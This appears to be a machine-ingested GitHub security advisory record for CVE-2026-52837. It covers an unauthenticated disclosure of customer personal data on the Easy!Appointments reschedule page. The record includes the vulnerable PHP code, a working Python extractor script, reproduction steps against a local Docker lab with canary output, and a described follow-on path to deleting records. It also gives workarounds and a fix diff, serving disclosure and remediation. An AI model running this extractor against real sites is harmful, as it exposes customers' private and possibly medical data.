{"id":"CVE-2026-52837","aliases":["GHSA-xgr6-pqjv-3pf8"],"title":"Easy!Appointments has unauthenticated customer PII disclosure on booking reschedule page","summary":"Easy!Appointments has unauthenticated customer PII disclosure on booking reschedule page","severity":"medium","cwe":["CWE-200","CWE-639"],"vendor":"alextselegidis","product":"alextselegidis/easyappointments","ecosystem":"composer","affected":["alextselegidis/easyappointments <= 1.5.2"],"published":"2026-07-29","updated":"2026-07-29","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-xgr6-pqjv-3pf8","references":[{"url":"https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-xgr6-pqjv-3pf8"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-52837"},{"url":"https://github.com/alextselegidis/easyappointments/commit/40bb0b31b531540bc9006efce4220eb0a437ed2b"},{"url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0"},{"url":"https://github.com/advisories/GHSA-xgr6-pqjv-3pf8"}],"tags":["ghsa","composer"],"epss":0.00564,"epssPercentile":0.45422,"ingestedAt":"2026-07-29T16:48:33.746Z","slug":"CVE-2026-52837","body":"## Overview\n\n## Summary\n\nThe booking reschedule view at `/index.php/booking/reschedule/{appointment_hash}` (handled by `Booking::index()`) embeds the **entire customer record** as inline JavaScript (`const vars = {... \"customer_data\": {...}, ...}`) without authentication and without field whitelisting. Anyone in possession of the 12-character `appointment_hash` — which appears in plain text in reschedule emails, confirmation page URLs, and operator-side calendar links — can read every column of that customer's row in the `ea_users` table.\n\nVerified against v1.5.2 with a Docker reproduction; a single anonymous GET to the reschedule URL returns 13 customer fields including email, phone, full address, custom fields, timezone, language, LDAP DN, and `id_roles`.\n\n## Details\n\n### Root cause\n\n`application/controllers/Booking.php` at line 184 reads the hash from the request, fetches the appointment, then loads the customer with `Customers_model::find()` — which returns the full row, no projection. It then passes the full record into `script_vars()`, which inlines it into the response HTML as a JavaScript constant. The reschedule UI itself uses only `first_name` and `last_name`; everything else is exposed for no functional reason.\n\n```php\n// application/controllers/Booking.php (v1.5.2)\n$appointment_hash = html_vars('appointment_hash');         // line 184\nif (!empty($appointment_hash)) {\n    $manage_mode = true;\n    $results = $this->appointments_model->get(['hash' => $appointment_hash]);\n    // ...\n    $appointment = $results[0];\n    $provider = $this->providers_model->find($appointment['id_users_provider']);\n    $customer = $this->customers_model->find($appointment['id_users_customer']);  // ← full row, no projection\n    $customer_token = md5(uniqid(mt_rand(), true));\n    $this->cache->save('customer-token-' . $customer_token, $customer['id'], 600);\n}\n\nscript_vars([\n    // ...\n    'customer_data' => $customer,                          // ← all PII inlined in HTML\n    'customer_token' => $customer_token,\n]);\n```\n\nThe URL pattern is in the CSRF exemption list (`application/config/config.php`, `csrf_exclude_uris` covers `booking/.*`) and no authentication middleware applies, by design — that's the intended customer-facing reschedule flow. The bug is the over-disclosure, not the lack of auth.\n\n### Source-to-Sink\n\n- **Source**: HTTP GET to `/index.php/booking/reschedule/{appointment_hash}` — unauthenticated; hash read via `html_vars('appointment_hash')` (Booking.php:184).\n- **Intermediate**: `appointments_model->get(['hash' => $hash])` → row fetched; `customers_model->find($appointment['id_users_customer'])` returns the full customers row.\n- **Sink**: `script_vars(['customer_data' => $customer, ...])` (Booking.php:254-270) emits inline `const vars = {..., \"customer_data\": {...}, ...}` JavaScript in the response HTML.\n\n### Fields disclosed\n\nConfirmed in PoC output (canary values used as markers):\n\n```\ncustomer_data: {\n  \"id\": 4,\n  \"first_name\": \"Victim\",\n  \"last_name\": \"Tester\",\n  \"email\": \"victim.disclosure@example.invalid\",\n  \"phone_number\": \"+1-555-0100\",\n  \"address\": \"100 Privacy Lane\",\n  \"city\": \"Sensitiveville\",\n  \"zip_code\": \"00001\",\n  \"timezone\": \"UTC\",\n  \"language\": \"english\",\n  \"custom_field_1\": \"CFLD1-CANARY\",\n  \"is_private\": \"0\",\n  \"ldap_dn\": null,\n  \"id_roles\": 3\n}\n```\n\nFields that would also leak when populated: `mobile_number`, `state`, `notes` (free-form, operators often store sensitive context here), `custom_field_2`–`custom_field_5`, `ldap_dn`.\n\n## Proof of Concept\n\n```python\n#!/usr/bin/env python3\n# poc_001_easyapp_pii_disclosure.py — exploit mode (extract from attached PoC)\nimport argparse, json, re, sys, requests\n\nPII_FIELDS = [\"email\",\"phone_number\",\"mobile_number\",\"address\",\"city\",\"state\",\n              \"zip_code\",\"notes\",\"custom_field_1\",\"custom_field_2\",\"custom_field_3\",\n              \"custom_field_4\",\"custom_field_5\",\"ldap_dn\"]\n\ndef exploit(target, hash_):\n    url = f\"{target}/index.php/booking/reschedule/{hash_}\"\n    r = requests.get(url, timeout=15); r.raise_for_status()\n    m = re.search(r\"const\\s+vars\\s*=\\s*(\\{.*?\\});\", r.text, re.DOTALL)\n    ea = json.loads(m.group(1))\n    customer = ea.get(\"customer_data\") or {}\n    leaked = 0\n    for f in PII_FIELDS:\n        if customer.get(f) not in (None, \"\", 0):\n            print(f\"  {f:18s} = {customer[f]!r}\"); leaked += 1\n    print(f\"[+] disclosed {leaked} PII fields without auth\")\n    return leaked\n\nif __name__ == \"__main__\":\n    p = argparse.ArgumentParser()\n    p.add_argument(\"--target\", default=\"http://localhost:8000\")\n    p.add_argument(\"--hash\", required=True)\n    a = p.parse_args()\n    sys.exit(0 if exploit(a.target, a.hash) > 0 else 1)\n```\n\n### Reproduction\n\n1. Bring up the lab from the project's official `docker-compose.yml` (pinned to v1.5.2). Complete the one-time install at `/index.php/installation` (or `php index.php console install` from the php-fpm container).\n2. Book one appointment through the public flow (the bundled `--seed` helper does this automatically and prints the resulting hash).\n3. Run the unauthenticated extractor:\n   ```\n   python3 poc_001_easyapp_pii_disclosure.py --target http://localhost:8000 --hash <HASH>\n   ```\n4. Observed output (verified 5/5 consecutive runs):\n   ```\n   email              = 'victim.disclosure@example.invalid'\n   phone_number       = '+1-555-0100'\n   address            = '100 Privacy Lane'\n   city               = 'Sensitiveville'\n   zip_code           = '00001'\n   custom_field_1     = 'CFLD1-CANARY'\n   [+] DISCLOSURE CONFIRMED -- 6 PII field(s) accessible without auth.\n   ```\n\nThe PoC and its docker-compose reproduction environment are attached.\n\n## Impact\n\nA single anonymous GET request returns the customer's full record. The `appointment_hash` is not a secret to the customer — it appears in every reschedule email, every confirmation page URL, and the operator-side calendar reschedule link. So it leaks through the usual side channels: email forwarding, shared inboxes, mail-server logs, browser history, HTTP `Referer` headers when the customer clicks an outbound link from the reschedule page.\n\nFor a typical Easy!Appointments deployment (medical clinics, salons, legal/tutoring consultancies, hairdressers) the disclosed fields include regulated personal information — GDPR Article 5(1)(f) / Article 32 confidentiality, HIPAA contact-data exposure, and equivalent regional regimes. The free-form `notes` and the five configurable custom fields are frequently used by operators to store sensitive supplementary data (health context, insurance number, allergies, DOB, government ID).\n\nA secondary chain worth flagging: the same response emits `customer_token`, a 600-second cache key bound to the customer ID. If `display_delete_personal_information` is enabled, an attacker holding the hash can also trigger a customer-record deletion at `/privacy/delete_personal_information` using the disclosed token — escalating an information-disclosure issue into a destructive one. Treating that as a secondary concern, out of scope for this report.\n\n## Workarounds\n\nOperators can mitigate temporarily by:\n1. Disabling the reschedule link in confirmation emails (in `Booking_settings`/`Email_settings` templates), forcing customers to re-book instead.\n2. Disabling the public booking page entirely (`disable_booking` setting) for deployments that can tolerate it.\n\nNeither workaround removes the root cause; an attacker who already holds a hash can still extract.\n\n## Suggested fix\n\nWhitelist customer fields before inlining. The reschedule UI only needs first/last name:\n\n```diff\n--- a/application/controllers/Booking.php\n+++ b/application/controllers/Booking.php\n@@ -239,7 +239,12 @@ class Booking extends EA_Controller\n             $appointment = $results[0];\n             $provider = $this->providers_model->find($appointment['id_users_provider']);\n-            $customer = $this->customers_model->find($appointment['id_users_customer']);\n+            $customer_record = $this->customers_model->find($appointment['id_users_customer']);\n+            $customer = [\n+                'id'         => $customer_record['id'],\n+                'first_name' => $customer_record['first_name'],\n+                'last_name'  => $customer_record['last_name'],\n+            ];\n             $customer_token = md5(uniqid(mt_rand(), true));\n```\n\nThe same pattern likely needs auditing in `Booking_confirmation::of()` and `Booking_cancellation::of()` — anywhere the customer record is loaded and inlined into a publicly-reachable view.\n\n## Credits\n\n- Discovered through source-code audit by peoplstar\n\n## References\n\n- `application/controllers/Booking.php` lines 184-270 (v1.5.2)\n- `application/models/Customers_model.php::find` — returns the full row, no projection\n- `application/config/config.php` `csrf_exclude_uris` — whitelisting `booking/.*`\n- Related prior PR #1753 (permission checks on appointment search) — same project, adjacent code, vendor previously accepted this class of issue.\n\n\n\n[docker-compose.yml](https://github.com/user-attachments/files/27761710/docker-compose.yml)\n[easyapp_pii_disclosure.py](https://github.com/user-attachments/files/27761711/easyapp_pii_disclosure.py)\n[requirements.txt](https://github.com/user-attachments/files/27761712/requirements.txt)\n[consistency_test.txt](https://github.com/user-attachments/files/27761722/consistency_test.txt)\n[leaked_customer_data.txt](https://github.com/user-attachments/files/27761723/leaked_customer_data.txt)\n\n## Affected packages\n\n- `alextselegidis/easyappointments <= 1.5.2`\n\n## Remediation\n\nRefer to the advisory for the patched release.","depth":"sunlit","depthScore":28,"depthScoreParts":{"impact":27.5,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}